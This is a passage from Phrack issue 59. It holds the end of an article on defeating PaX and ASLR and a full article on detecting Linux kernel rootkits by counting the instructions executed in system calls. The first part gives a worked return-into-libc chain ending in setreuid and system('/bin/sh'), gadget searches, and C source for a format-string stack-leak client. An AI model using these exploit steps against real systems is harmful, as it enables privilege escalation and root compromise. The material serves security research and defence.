[6218]  0x1d230 __libc_start_main type: Function size: 00193 bytes => .text

bash$
```

[d] As the main() function return into __libc_start_main , lets look precisely in the assembly code where main() will return . So, we would know the relative offset between the needed function address and the address of the 'call main' instruction . This code is located in the libc. This dump has been taken from my default SlackWare libc.so.6 for which you may not need to change relative file offsets in the exploit .

```
0001d230 <__libc_start_main>:
   1d230:       55                      push   %ebp
   1d231:       89 e5                   mov    %esp,%ebp
   1d233:       83 ec 0c                sub    $0xc,%esp
   (...)
   1d2e6:       8b 55 08                mov    0x8(%ebp),%edx
   1d2e9:       ff d2                   call   *%edx
   1d2eb:       50                      push   %eax
   1d2ec:       e8 9f f9 ff ff          call   1cc90 <GLIBC_2.0+0x1cc90>
   (...)
```

Instructions following this last 'call 1cc90' are 'nop nop nop nop', just headed by the 'Letext' symbol, but thats not interresting for us .

Because the libc might have been recompiled, it may be possible to have different relative offsets for your own libc built and it would be very difficult to guess absolute addresses just using the main() return address in this case. Of course, if we have a binary copy of the used library (like a .deb or .rpm libc package), we can predict these offsets without any problem . Let's look at the offsets for my libc version, for which the exploit is based .

We know from the 'bt' output (see above) that the main address is the first __libc_start_main() parameter . Since this function has a frame pointer, we deduce that 8(%ebp) contains the main() absolute address . The __libc_start_main function clearly does an indirect call through %edx on it (see the last 3 instructions) :

```
   1d2e6:       8b 55 08                mov    0x8(%ebp),%edx
   1d2e9:       ff d2                   call   *%edx
```

We deduce that the return address we read in the process stack points on the intruction at file offset 1d2eb :

```
   1d2eb:       50                      push   %eax
```

We can now calculate the absolute address we are looking for :

```
    . main() ret-addr : file offset 0x1d2eb, virtual address 0x4003e2eb
    . system()        : file offset 0x48870, virtual address unknown
    . setreuid()      : file offset 0xc59b0, virtual address unknown
    . exit()          : file offset 0x2efe0, virtual address unknown
    . strcpy()        : file offset 0x750d0, virtual address unknown
```

What we deduce from this :

```
    . system() addr    = main ret + (system offset - main ret offset)
                       = 4003e2eb + (48870 - 1d2eb)
                       = 4003e2eb + 2B585
                       = 40069870

    . setreuid() addr  = main ret + (setreuid offset - main ret offset)
                       = 4003e2eb + (c59b0 - 1d2eb)
                       = 4003e2eb + a86c5
                       = 400e69b0

    . exit() addr      = main ret + (exit offset - main ret offset)
                       = 4003e2eb + (2efe0 - 1d2eb)
                       = 4003e2eb + 11cf5
                       = 4004ffe0

    . strcpy() addr    = 4003e2eb + (750d0 - 1d2eb)
                       = 4003e2eb + 57de5
                       = 400960d0
```

We needs some more offsets to perform a chained return into libc and insert NUL bytes as explained in Nergal's paper :

- A pointer on the setreuid() parameter reposing on the stack, to be used as a dst strcpy parameter (we need to nullify it) :

```
    do_auth fp + 28 = B5C36CC8 + 1C
                    = B5C36CE4
```

The setreuid parameter address (reposing on the stack) can be found using the do_auth() frame pointer value (B5C36CC8 in the stack dump), or if there is no frame pointer, using whatever stack variable address we can guess .

- A pointer on a NUL byte to be used as a src strcpy parameter (let's use the "/bin/sh" final byte address)

```
    main ret addr + (string offset - main ret offset) + strlen("/bin/sh")
                      = 4003e2eb + (fcc19 - 1d2eb) + 7
                      = 4003e2eb + df92e + 7
                      = 4011dc19 + 7
                      = 4011dc20
```

- A "/bin/sh" string with predictable absolute address for the system() parameter (we will find one in the libc's .rodata section which is part of the same zone (has the same base address) than libc's .text)

```
                   main ret addr + (string offset - main ret offset)
                      = 4003e2eb + (fcc19 - 1d2eb)
                      = 4003e2eb + df92e
                      = 4011dc19
```

```
bash$ elfsh -f /lib/libc.so.6 -X '.rodata' | grep -A 1 '/bin/'
```

```
nbits.333 + 152             0xfcc18 :   00 2F 62 69  6E 2F 73 68   ./bin/sh
nbits.333 + 160             0xfcc20 :   00 00 00 00  00 00 00 00   ........
--
   zeroes + 19              0xff848 :   73 68 00 2F  62 69 6E 2F   sh./bin/
   zeroes + 27              0xff850 :   73 68 00 00  00 00 00 00   sh......
--
   zeroes + 560             0xffad0 :   68 00 2F 62  69 6E 2F 73   h./bin/s
   zeroes + 568             0xffad8 :   68 00 74 6D  70 66 00 77   h.tmpf.w

bash$
```

- A ’pop ret’ and ’pop pop ret’ sequences somewhere in the code, in order to do %esp lifting (we will find many ones in libc’s .text)

For ’pop ret’ sequence :

```
bash$ objdump -d --section=’.text’ /lib/libc.so.6 | grep ret -B 1 | \
grep pop -A 1

(...)
  2c519:       5a                       pop    %edx
  2c51a:       c3                       ret
(...)
```

For ’pop pop ret’ sequence :

```
bash$ objdump -d --section=’.text’ /lib/libc.so.6 | grep ret -B 3 | \
grep pop -A 3 | grep -v leave

(...)
  4ce25:       5e                       pop    %esi
  4ce26:       5f                       pop    %edi
  4ce27:       c3                       ret
(...)
```

Note: be careful and check if the addresses are contiguous for the 3 intructions because the regex I use it not perfect for this last test .

Here is how you have to fill the stack in the final overflow (each case is 4 bytes lenght, the first dword is the return address of the vulnerable function) :

```
0:  | strcpy   addr | ’pop; pop; ret’ addr | strcpy argv1 | strcpy argv2 |
16: | strcpy   addr | ’pop; pop; ret’ addr | strcpy argv1 | strcpy argv2 |
32: | strcpy   addr | ’pop; pop; ret’ addr | strcpy argv1 | strcpy argv2 |
48: | strcpy   addr | ’pop; pop; ret’ addr | strcpy argv1 | strcpy argv2 |
64: | setreuid addr | ’pop; ret’      addr |setreuid argv1| system addr  |
80: | exit     addr | "/bin/sh"       addr | ??? DONT ??? | ??? CARE ??? |
```

We need to overflow at least 84 bytes after the original return address . This is not a problem . The 4 first return-into-strcpy are used to nullify the setreuid argument, which has to be a 0x00000000 dword .

-------[4. Exploitation conditions

The attack suffers from many known limitations as you will see .

[a] Looking for exploitable stack based overflows

Not all overflows can be exploited like this . memcpy() and strncpy() overflows are vulnerable, so as byte-per-byte overflows . Overflow involving functions whoose behavior is to append a NUL byte are not vulnerable, except if we can find a 'call printf' instruction whoose absolute address low byte is NUL .

[b] Looking for leak functions

We can use printf() to leak information about the address space . We can also return into send() or write() and take advantage of the very good error handling code :

We will not crash the process if we try to read some unmapped process area . From the send(3) manual page :

```
ERRORS
  (...)
      EBADF  An invalid descriptor was specified.

      ENOTSOCK The argument s is not a socket.

      EFAULT An invalid user space address was specified for a parameter.
  (...)
```

We may want to return-into-write or return-into-any_output_function if there is no printf and no send somewhere near the original return address, but depending on the output function, it would be quite hard to perform the attack since we would have to control many of the vulnerable function parameters .

[c] The frame pointer problem and workaround

The technique also suffers from the same limitation than klog's fp overwriting [7] .

If the frame pointer register (%ebp) is used between the 'call printf' and the 'call vuln_func', the program will crash and we wont be able to call vuln_func() again . Programs like:

```
/* Non-buggy passwd based authentication */
int             do_auth()
{
  int len;

  printf("Password: ");
  fflush(stdout);
  len = read(0, pass, sizeof(pass) - 1);
  if (len <= 0)
    FATAL("read");
  pass[len] = 0;
  if (!verify(pass))
(...)
```

are not exploitable using a return into libc because 'len' will be indexed through %ebp after the read() returns . If the program is compiled without frame pointer, such a limitation does not exist .

[d] Discussion about segvguard

Segvguard is a tool coded by Nergal described in his paper [3] . In short, this tool can be used to forbid the executable relaunching if it crashed too much times . If segvguard is used, we are definitely asked to find the output function in the very near (+- 256 bytes) or the original return address . If segvguard is not used, we can try a two byte EIP overflow and brute force the 4 randomized bits in the high part of the second overflowed byte . This way, we'll be able to return on a farer 'call printf' instruction, increasing our chances .

-------[5. The code : DHagainstpax

I would like to sincerely congratulate the PaX team because they own me (who's the ingratefull pig ? ;) and because they've done the best work I have ever seen in this field since Openwall . Thanks go to theowl, klog, MaXX, Nergal, kalou and korty for discussions we had on this issue . Special thanks go to devhell labs 0 : -] Shoutouts to #fr people (dont feed the troll) . May you all guyz pray for peace .

```
<++> DHagainstpax/leak.c !78040134

 /*
 *
 * Info leak code against PaX + ASLR protection .
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define FATAL(str) { perror(str); exit(-1); }

#define PORT_NUM                666
#define SERVER_IP               "127.0.0.1"

#define BUF_SIZ                 37
#define FMT                     "%%%03u$08u                            \x9a"
#define RETREIVED_STACKSIZE     20


u_int                   remote_stack[RETREIVED_STACKSIZE];


void                    sigint_handler(int sig)
{
  printf("Starting remote stack retreiving ... ");
}

int                     main(int argc, char **argv)
{
  char                  buff[256];
  struct sockaddr_in    addr;
  int                   sock;
  int                   len;
  u_int                 cnt;
  u_char                fmt[BUF_SIZ + 1];

  if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    FATAL("socket");

  bzero(&addr, sizeof(addr));
  addr.sin_family = AF_INET;
  addr.sin_port = htons(PORT_NUM);
  addr.sin_addr.s_addr = inet_addr(SERVER_IP);

  if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
    FATAL("connect");

  len = read(sock, buff, sizeof(buff) - 1);
  buff[len] = 0;
  printf("[RECEIVED FROM SERVER] *%s* \n", buff);

  signal(SIGINT, sigint_handler);
  printf("Connected! Press ^C to launch : ");
  fflush(stdout);
  pause();

  for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt++)
    {
      snprintf(fmt, sizeof(fmt), FMT, cnt);
      write(sock, fmt, BUF_SIZ);
      len = read(sock, buff, sizeof(buff) - 1);
      buff[len] = 0;
      sscanf(buff, "%u", remote_stack + cnt);
    }

  printf("\n\nRemote stack : \n");
  for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt += 4)
    printf("%08X %08X %08X %08X \n",
           remote_stack[cnt], remote_stack[cnt + 1],
           remote_stack[cnt + 2], remote_stack[cnt + 3]);
  puts("");

  return (0);
}

<-->

<++> DHagainstpax/Makefile !d055b5f3
##
## Makefile for DHagainstpax
##

SRC1    = pax_daemon.c
OBJ1    = pax_daemon.o
NAM1    = paxtestd
SRC2    = leak.c
OBJ2    = leak.o
NAM2    = runit
CC      = gcc
CFLAGS  = -Wall -g3 #-fomit-frame-pointer
OPT     = $(CFLAGS)
DUMP    = objdump -d --section='.text'
DUMP2   = objdump --syms
GREP    = grep
DUMPLOG = $(NAM1).asm
CHPAX   = chpax -X

all     : fclean leak vuln

vuln    : $(OBJ1)
        $(CC) $(OPT) $(OBJ1) -o $(NAM1)
        @echo ""
        $(CHPAX) $(NAM1)
        $(DUMP) $(NAM1) > $(DUMPLOG)
        @echo ""
        @echo "Try to locate 'call printf' ;) 5th call above 'call verify'"
        @echo ""
        $(GREP) "_init\|verify" $(DUMPLOG) | $(GREP) 'call'
        @echo ""
        $(DUMP2) $(NAM1) | grep printf
        @echo ""

leak    : $(OBJ2)
        $(CC) $(OPT) $(OBJ2) -o $(NAM2)

clean   :
        rm -f *.o *\# \#* *~

fclean  : clean
        rm -f $(NAM1) $(NAM2)
<-->
```

-------[6. References

```
 [1] PaX homepage                                         The PaX team
     http://pageexec.virtualave.net

 [2] The OpenWall project                                 Solar Designer
     http://openwall.com/linux/

 [3] Advanced return-into-lib(c) exploits                 Nergal
     http://phrack.org/show.php?p=58&a=4

 [4] Pentium refefence manual 'system programming guide'
     http://developer.intel.com/design/Pentium4/manuals/

 [5] Bypassing stackguard and stackshield                 Kil3r/Bulba
     http://phrack.org/show.php?p=56&a=5

 [6] Writing alphanumeric shellcodes                      rix
     http://phrack.org/show.php?p=57&a=15

 [7] Frame pointer overwriting                            klog
     http://phrack.org/show.php?p=55&a=8

 [8] Exploiting format bugs                               scut
     http://team-teso.net/articles/formatstring/

 [9] The ELFsh project                                    devhell labs
     http://www.devhell.org/~mayhem/projects/elfsh/
```

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x0a of 0x12

```
|=-------=[ Execution path analysis: finding kernel based rootkits ]=------=|
|=-------------------------------------------------------------------------=|
|=-----------=[ Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> ]=-----------=|
```

--[Introduction

Over the years mankind has developed many techniques for masking presence of the attacker in the hacked system. In order to stay invisible modern backdoors modify kernel structures and code, causing that nobody can trust the kernel. Nobody, including IDS tools...

In the article I will present a technique based on counting executed instructions in some system calls, which can be used to detect various kernel rootkits. This includes programs like SucKIT or prrf (see [SUKT01] and [PALM01]) which do not modify syscall table. I will focus on Linux kernel 2.4, running on Intel 32-bit Family processor (ia32).

Also at the end of the article the PatchFinder source code is included - a proof of concept for described technique.

I am not going to explain how to write a kernel rootkit. For details I send reader to the references. However I briefly characterize known techniques so their resistance to presented detection method can be described.

--[Background

Lets take a quick look at typical kernel rootkits. Such programs must solve two problems: find a way to get into the kernel and modify the kernel in a smart way. On Linux the first task can be achieved by using Loadable Kernel Modules (LKM) or /dev/kmem device.

----[getting into the kernel

Using LKM is the easiest and most elegant way to modify the running kernel. It was probably first discussed by halflife in [HALF97]. There are many popular backdoors which use LKM (see [KNAR01], [ADOR01], [PALM01]). However this technique has a weak point - LKM can be disabled on some systems.

When we do not have LKM support we can use technique, developed by Silvio Cesare, which uses /dev/kmem to access directly kernel memory (see [SILV98]). There is no easy work-around for this method, since patching do_write_mem() function is not sufficient, as it was recently showed by Guillaume Pelat (see [MMAP02]).

----[modifying syscall table

Providing that we can write to kernel memory, we face the problem what to modify.

Many rootkits modifies syscall table in order to redirect some useful system calls like sys_read(), sys_write(), sys_getdents(), etc... For details see [HALF97] and source code of one of the popular rootkit ([KNAR01], [ADOR01]). However this method can be traced, by simply comparing current syscall table with the original one, saved after kernel creation.

When there is LKM mechanism enabled in the system, we can use simple module, which read syscall table (directly accessing kernel memory) and then puts it into the userland (due to /proc filesystem for example).

Unfortunately when LKM is not supported we can not read kernel memory reliably, since we use sys_read() or sys_mmap() to read or mmap /dev/kmem.

We can not be sure that malicious code we are trying to find, does not alter sys_read()/sys_mmap() system calls.

----[modifying kernel code

Instead of changing pointers in the syscall table, malicious program can alter some code in the kernel, like system_call function. In this case analysis of syscall table would not show anything. Therefore we would like to scan scan kernel memory and check whether the code area has been modified.

It is simple to implement if there is LKM enabled. However, if we do not have LKM support, we must access kernel memory through /dev/kmem and again we face the problem of unreliable sys_read()/sys_mmap().

SucKIT (see [SUKT01]) is an example of rootkit which uses /dev/kmem to access kernel and then changing system_call code, not touching original syscall table. Although SucKIT does not alter sys_read() and sys_mmap() behavior, this feature can be added, making it impossible to detect such backdoor by conventional techniques (i.e. memory scanning through /dev/kmem)...

----[modifying other pointers

In the previous issue of Phrack palmers presented nice idea of changing some pointers in /proc filesystem (see [PALM01]). Again if our system has LKM enabled we can, at least theoretically, check all the kernel structures and find out if somebody has changed some pointers. However it could be difficult in implementation, because we have to foresee all potential places the rootkit may exploit.

With LKM disabled, we face the same problem as explained in the above paragraphs.

--[Execution path analysis (stepping the kernel)

As we can see, detection of kernel rootkits is not trivial. Of course if we have LKM support enabled we can, theoretically, scan the whole kernel memory and find the intruder. However we must be very careful in deciding what to look for. Differences in the code indicates of course that something is wrong. Although change of some data should also be treated as alarm (see prrf.o again), modifications of others structures might be result of normal kernel daily tasks.

The things become even more complicated when we disable LKM on our kernel (to be more secure:)). Then, as I have just said, we can not read kernel memory reliable, because we are not sure that sys_read() returns real bytes (so we can't read /dev/kmem). We are also not sure that sys_mmap2() fills mapped pages with correct bytes...

Lets try from other side. If somebody modified some kernel functions, it is very probable, that the number of instructions executed during some system calls (for e.g. sys_getdents() in case an attacker is trying to hide files) will be different than in the original kernel. Indeed, malicious code must perform some additional actions, like cutting off secret filenames, before returns results to userland. This implies execution of many more instructions compared to not infected system. We can measure this difference!

----[hardware stepper

The ia32 processor, can be told to work in the single-step mode. This is achieved by setting the TF bit (mask 0x100) in EFLAGS register. In this mode processor will generate a debug exception (#DB) after every execution of the instruction.

What is happened when the #DB exception is generated? Processor stops execution of the current process and calls debug exception handler. The #DB exception handler is described by trap gate at interrupt vector 1.

In Intel’s processors there is an array of 256 gates, each describing handler for a specific interrupt vector (this is probably the Intel’s secret why they call this scalar numbers ’vectors’...).

For example at position 0x80 there is a gate which tells where is located handler of the 0x80 trap - the Linux system call. As we all know it is generated by the process by means of the ’int 0x80’ instruction. This array of 256 gates is called Interrupt Descriptor Table (IDT) and is pointed by the idtr register.

In Linux kernel, you can find this handler in arch/i386/kernel/entry.S file. It is called ’debug’. As you can see, after some not interesting operations it calls do_debug() function, which is defined in arch/i386/kernel/traps.c.

Because #DB exception is devoted not only for single stepping but to many other debugging activities, the do_debug() function is a little bit complex. However it does not matter for us. The only thing we are interested in, is that after detecting the #DB exception was caused by single stepping (TF bit) a SIGTRAP signal is sent to traced process. The process might catch this signal. So, it looks that we can do something like this, in our userland program:

```
        volatile int traps = 0;

        int trap () {
                traps++;
        }

        main () {
                ...
                signal (SIGTRAP, sigtrap);

                xor_eflags (0x100);
                /* call syscall we want to test */
                read (fd, buff, sizeof (buff));
                xor_eflags (0x100);

                printf ("testing syscall takes %d instruction\n", traps);
        }
```

It looks simple and elegant. However has one disadvantage - it does not work as we want. In variable traps we will find only the number of instructions executed in userland. As we all know, read() is only a wrapper to ’int 0x80’ instruction, which causes the processor calls 0x80 exception handler. Unfortunately the processor clears TF flag when executing ’int x’ (and this instruction is causing privilege level changing).

In order to stepping the kernel, we must insert some code into it, which will be responsible for setting the TF flag for some processes. The good place to insert such code is the beginning of the ’system_call’ assembler routine (defined in arch/i386/kernel/entry.S.), which is the entry for the 0x80 exception handler.

As I mentioned before the address of ’system_call’ is stored in the gate located at position 0x80 in the the Interrupt Descriptor Table (IDT). Each gateway (IDT consist of 256 of them) has the following format:

```
        struct idt_gate {
                unsigned short  off1;
                unsigned short  sel;
                unsigned char   none, flags;
                unsigned short  off2;
        } __attribute__ ((packed));
```

The ’sel’ field holds the segment selector, and in case of Linux is equal to __KERNEL_CS. The handler routine is placed at (off2<<16+off1) within the segment, and because the segments in Linux have the base 0x0, it means that it is equal to the linear address.

The fields 'none' and 'flags' are used to tell the processor about some additional info about calling the handler. See [IA32] for detail.

The idtr register, points to the beginning of IDT table (it specifies linear address, not logic as was in idt_gate):

```
        struct idtr {
                unsigned short  limit;
                unsigned int    base;   /* linear address of IDT table */
        } __attribute__ ((packed));
```

Now we see, that it is trivial to find the address of system_call in our Linux kernel. Moreover, it is also easy to change this address to a new one. Of course we can not do it from userland. That is why we need a kernel module (see later discussion about what if we have LKM disabled), which changes the address of 0x80 handler and inserts the new code, which we use as the new system_call. And this new code may look like this:

```
        ENTRY(PF_system_call)
                pushl %ebx
                movl $-8192, %ebx
                andl %esp, %ebx                 # %ebx <-- current

                testb $PT_PATCHFINDER,24(%ebx)  # 24 is offset of 'ptrace'
                je continue_syscall
                pushf
                popl %ebx
                orl $TF_MASK, %ebx              # set TF flag
                pushl %ebx
                popf

        continue_syscall:
                popl %ebx
                jmp *orig_system_call
```

As you can see, I decided to use 'ptrace' field within process descriptor, to indicate whether a particular process wants to be single traced. After setting the TF flag, the original system_call handler is executed, it calls specific sys_xxx() function and then returns the execution to the userland by means of the 'iret' instruction. Until the 'iret' every single instruction is traced.

Of course we have to also provide our #DB handler, to account all this instructions (this will replace the system's one):

```
        ENTRY(PF_debug)
                incl PF_traps
                iret
```

The PF_traps variable is placed somewhere in the kernel during module loading.

To be complete, we also need to add a new system call, which can be called from the userland to set the PT_PATCHFINDER flag in current process descriptor's 'ptrace' variable, to reset or return the counter value.

```
        asmlinkage int sys_patchfinder (int what) {
                struct task_struct *tsk = current;

                switch (what) {
                        case PF_START:
                                tsk->ptrace |= PT_PATCHFINDER;
                                PF_traps = 0;
                                break;
                        case PF_GET:
                                tsk->ptrace &= ~PT_PATCHFINDER;
                                break;
                        case PF_QUERY:
                                return PF_ANSWER;
                        default:
                                printk ("I don't know what to do!\n");
                                return -1;
                }
                return PF_traps;
        }
```

In this way we changed the kernel, so it can measure how many instructions each system call takes to execute. See module.c in attached sources for more details.

----[the tests

Having the kernel which allows us to counter instructions in any system call, we face the problem what to measure. Which kernel functions should we check?

To answer this question we should think what is the main task of every rootkit? Well, its job is to hide presence of attacker's process/files/connections in the rooted system. And those things should be hidden from such tools like ls, ps, netstat etc. These programs collect the system information through some well known system calls.

Even if backdoor does not touch syscall directly, like prrf.o, it modifies some kernel functions which are activated by one of the system call. The problem lies in the fact, that these modified functions does not have to be executed during every system call. For example if we modify only some pointer to reading functions in procfs, then attacker's code will be executed only when read() is called in order to read some specific file, like /proc/net/tcp.

It complicates detection a little, since we have to measure execution time of particular system call with different arguments. For example we test sys_read() by reading "/etc/passwd", "/dev/kmem" and "/proc/net/tcp" (i.e. reading regular file, device and pseudo proc-file).

We do not test all system calls (about 230) because we assume that some routine tasks every backdoor should do, like hiding processes or files, will use only some little subset of syscalls.

The tests included in PatchFinder, are defined in tests.c file. The following one is trying to find out if somebody is hiding some processes and/or files in the procfs:

```
        int test_readdir_proc () {
                int fd, T = 0;
                struct dirent de[1];

                fd = open ("/proc", 0, 0);
                assert (fd>0);

                patchfinder (PF_START);
                getdents (fd, de,  sizeof (de));
                T = patchfinder (PF_GET);

                close (fd);
                return T;
        }
```

Of course it is trivial to add a new test if necessary. There is however, one problem: false positives. Linux kernel is a complex program, and most of the system calls have many if-then clauses which means different patch are executed depending on many factors. These includes caches and 'internal state of the system', which can be for e.g. a number of open TCP connections. All of this causes that sometime you may see that more (or less) instructions are executed. Typically this differences are less then 10, but in some tests (like writing to the file) it may be even 200!.

This could be minimizing by increasing the number of iteration each test is taken. If you see that reading "proc/net/tcp" takes longer try to reset the TCP connections and repeat the tests. However if the differences are significant (i.e. more then 600 instructions) it is very probably that somebody has patched your kernel.

But even then you must be very careful, because this differences may be caused by some new modules you have loaded recently, possibly unconscious.

--[The PatchFinder

Now the time has came to show the working program. A proof of concept is attached at the end of this article. I call it PatchFinder. It consist of two parts - a module which patches the kernel so that it allows to debug syscalls, and a userland program which makes the tests and shows the results. At first you must generate a file with test results taken on the clear system, i.e. generated after you installed a new kernel. Then you can check your system any time you want, just remember to insert a patchfinder.o module before you make the test. After the test you should remove the module. Remember that it replaces the Linux's native debug exception handler!

The results on clear system may look like this (observe the little differences in 'diff' column):

```
            test name      | current | clear | diff  | status
        ------------------------------------------------------
        open_file          |    1401|    1400|      1|  ok
        stat_file          |    1200|    1200|      0|  ok
        read_file          |    1825|    1824|      1|  ok
        open_kmem          |    1440|    1440|      0|  ok
        readdir_root       |    5784|    5774|     10|  ok
        readdir_proc       |    2296|    2295|      1|  ok
        read_proc_net_tcp  |   11069|   11069|      0|  ok
        lseek_kmem         |     191|     191|      0|  ok
        read_kmem          |     322|     321|      1|  ok
```

The tests on the same system, done when there was a adore loaded shows the following:

```
            test name      | current | clear | diff  | status
        ------------------------------------------------------
        open_file          |    6975|    1400|   5575| ALERT!
        stat_file          |    6900|    1200|   5700| ALERT!
        read_file          |    1824|    1824|      0|  ok
        open_kmem          |    6952|    1440|   5512| ALERT!
        readdir_root       |    8811|    5774|   3037| ALERT!
        readdir_proc       |   14243|    2295|  11948| ALERT!
        read_proc_net_tcp  |   11063|   11069|     -6|  ok
        lseek_kmem         |     191|     191|      0|  ok
        read_kmem          |     321|     321|      0|  ok
```

Everything will be clear when you analyze adore source code :). Similar results can be obtained for other popular rootkits like knark or palmers' prrf.o (please note that the prrf.o does not change the syscall table directly).

The funny thing happens when you try to check the kernel which was backdoored by SucKIT. You should see something like this:

```
                                    ---== ALERT! ==--
        It seems that module patchfinder.o is not loaded. However if you
        are sure that it is loaded, then this situation means that
```

        with your kernel is something wrong! Probably there is a rootkit
        installed!

This is caused by the fact that SucKIT copies original syscall table into new position, changes it in the fashion like knark or adore, and then alters the address of syscall table in the system_call code so that it points to this new copy of the syscall table. Because this copied syscall table does not contain a patchfinder system call (patchfinder's module is inserted just before the tests), the testing program is unable to speak with the module and thinks it is not loaded. Of course this situation easy betrays that something is wrong with the kernel (or that you forgot to load the module:)).

Note, that if patchfinder.o is loaded you can not start SucKIT. This is due its installation method which assumes how the system_call's binary code should look like. SucKIT is very surprised seeing PS_system_call instead of original Linux 0x80 handler...

There is one more thing to explain. The testing program, before the beginning of the tests, sets SCHED_FIFO scheduling policy with the highest rt_priority. In fact, during the tests, only the patchfinder's process has CPU (only hardware interrupts are serviced) and is never preempted, until it finishes the tests. There are three reasons for such approach.

TF bit is set at the beginning of the system_call, and is cleared when the 'iret' instruction is executed at the end of the exception handler. During the time the TF bit is set, sys_xxx() is called, but after this some scheduling related stuff is also executed, which can lead to process switch. This is not good, because it causes more instruction to be executed (in the kernel, we do not care about instructions executed in the switched process of course).

There is also a more important issue. I observed that, when I allow process switching with TF bit set, it may cause processor restart(!) after a few hundred switches. I did not found any explanation of such behavior. The following problem does not occur when SET_SCHED is set.

The third reason to use realtime policy is to guarantee system state as stable as possible. For example if our test was run in parallel with some process which opens and reads lots of files (like grep), this could affect some tests connected with sys_open()/sys_read().

The only disadvantage of such approach is that your system is inaccessible during the tests. However it does not take long since a typical test session (depending on the number of iterations per each test) takes less then 15 seconds to complete.

And a technical detail: attached source code is using LKM to install described kernel extensions. At the beginning of the article I have said, that on some systems LKM is not compiled into the kernel. We can use only /dev/kmem. I also said that we can not relay on /dev/kmem since we are using syscalls to access it. However it should not be a problem for tool like patchfinder, because if rootkit will disturb in loading of our extensions we should see that the testing program is not working. See also discussion in the next section.

--[Cheating & hardening patchfinder program

Now I will try to discuss a possible methods of compromising presented method in general and attached patchfinder program in particular. I will also try to show how to defend against such attacks, describing the properties of the next generation patchfinder...

The first thing a malicious code can do is to check if it is traced. It may simply execute:

```
                pushf
                popl %ebx
                testb $0x100, %ebx
                jne i_am_traced
                # contine executing
                ...

        i_am_traced:
                # deinstall for
                # a moment
                ...
```

When malicious code realize that it is traced it may uninstall itself from the specific syscall. However, before that, it will settle in the timer interrupt handler, so after for e.g. 1 minute it will back to that syscall.

How to defend such trick? Well, remember that we (i.e. patchfinder) are tracing the code all the time. So the debug handler (which is provided by us) can detect that 'pushf' instruction has been just executed. Then it may alter the 'eflags' saved on the stack (by just executed 'pushf'), so that for the traced process it looks like the TF flags was cleared.

I do not see at the moment any other general attack against execution trace analysis. However, there are possibilities of cheating a specific implementation, like patchfinder, which I am going to discuss now.

The attacker can alter sys_write() and check if process named 'patchfinder' is trying to write a specific line to stdout - a line with some test result. Then it will change the write()'s buffer and user will see faked results. Similar, the rootkit may realized that a file with clear system characteristic is to be read and change the buffer returned from sys_read(), so the patchfinder will get false references.

Moreover, when patchfinder uses a fixed number for its system call, the malicious rootkit can change the results returned by that system call and in result cheat testing process about the number of instruction executed.

We can defend against such attacks, by causing that on each system patchfinder's executable will get different name and also by encrypting the file with clear system's characteristics. More over we should use different numbers for patchfinder's system call. The rootkit could easily trace the patchfinder's process by seeing that it calls specific system call.

We are not limited to only to empty system calls, since we can replace any existing system call and first check if some magic numbers are in arguments. In case there is no magic arguments we simply call original sys_xxx().

Although using random number for patchfinder's syscall we makes it a little bit harder for the rootkit to cheat the results returned to the patchfinder process, it is still possible for the malicious code to find out which syscall is being used. It can be achieved by pattern searching for the specific binary instruction. This will be easy since attacker knows everything about the source code (and binary) of the patchfinder program.

Another method can exploit the fact that patchfinder marks a process to be traced in some specific way (i.e. setting a bit in 'ptrace' field of the process descriptor). Malicious rootkit can replace the system_call routine with its own version. This new version will check if the process is marked by patchfinder and then it will use original syscall table. If it is not marked by testing process another syscall table will be used (which has some sys_xxx() functions replaced). It will be hard for the #DB exception handler to find out whether the rootkit is trying to check for e.g. the 'ptrace' field, since the code doing this can have many forms.

The debug exception handler's code can also betrays where is located the counter variable (PF_traps) in memory. Knowing this address, smart rootkit can decrease this variable at the end of its 'operational' code, by the number of instructions in this additional code.

The only remedy I can see for the above weaknesses can be strong polymorphism. The idea is to add a polymorphic code generator to the patchfinder distribution which, for every system it is installed on, will create a different binary images for patchfinder's kernel code. This generation could be based on some passphrase the administrator will provide at the installation time.

I have not yet implemented polymorphic approach, but it looks promising...

--[Another solutions

The presented technique is a proposition of general approach to detect kernel based rootkits. The main problem in such actions is that we want to use kernel to help us detect malicious code which has the full control of our kernel. In fact we can not trust the kernel, but on the other hand want to get some reliable information form it.

Debugging the execution path of the system calls is probably not the only one solution to this problem. Before I have implemented patchfinder, I had been working on another technique, which tries to exploit differences in the execution time of some system calls. The tests were actually the same as those which are included with patchfinder. However, I have been using processor 'rdtsc' instruction to calculate how many cycles a given piece of code has been executed. It worked well on processor up to 500Mhz. Unfortunately when I tried the program on 1GHz processor I noted that the execution time of the same code can be very different from one test to another. The variation was too big, causing lots of false positives. And the differences was not caused by the multitasking environment as you may think, but lays deeply in the micro-architecture of the modern processors. As Andy Glew explained me, these beasties have tendencies to stabilizes the execution time on one of the possible state, depending on the initial conditions. I have no idea how to cause the initial state to be the same for each tests or even to explore the whole space of theses initial states. Therefore I switched to stepping the code by the hardware debugger. However the method of measuring the times of syscall could be very elegant... If it was working. Special thanks to Marcin Szymanek for initial idea about this timing-based method.

Although it can be (possibly) many techniques of finding rootkits in the kernel, it seems that the general approach should exploit polymorphism, as it is probably the only way to get reliable information from the compromised kernel.

--[Credits

Thanks to software.com.pl for allowing me to test the program on different processors.

--[References

[HALF97] halflife, "Abuse of the Linux Kernel for Fun and Profit",
Phrack 50, 1997.

[KNAR01] Cyberwinds, "Knark-2.4.3" (Knark 0.59 ported to Linux 2.4), 2001.

[ADOR01] Stealth, "Adore v0.42",
http://spider.scorpions.net/˜stealth, 2001.

[SILV98] Silvio Cesare, "Runtime kernel kmem patching",
http://www.big.net.au/˜silvio, 1998.

[SUKT01] sd, devik, "Linux on-the-fly kernel patching without LKM"
(SucKIT source code), Phrack 58, 2001.

[PALM01] palmers, "Sub proc_root Quando Sumus (Advances in Kernel Hacking)"
(prrf source code), Phrack 58, 2001.

[MMAP02] Guillaume Pelat, "Grsecurity problem - modifying

         'read-only kernel'",
         http://securityfocus.com/archive/1/273002, 2002.

[IA32]   "IA-32 Intel Architecture Software Developer's Manual", vol. 1-3,
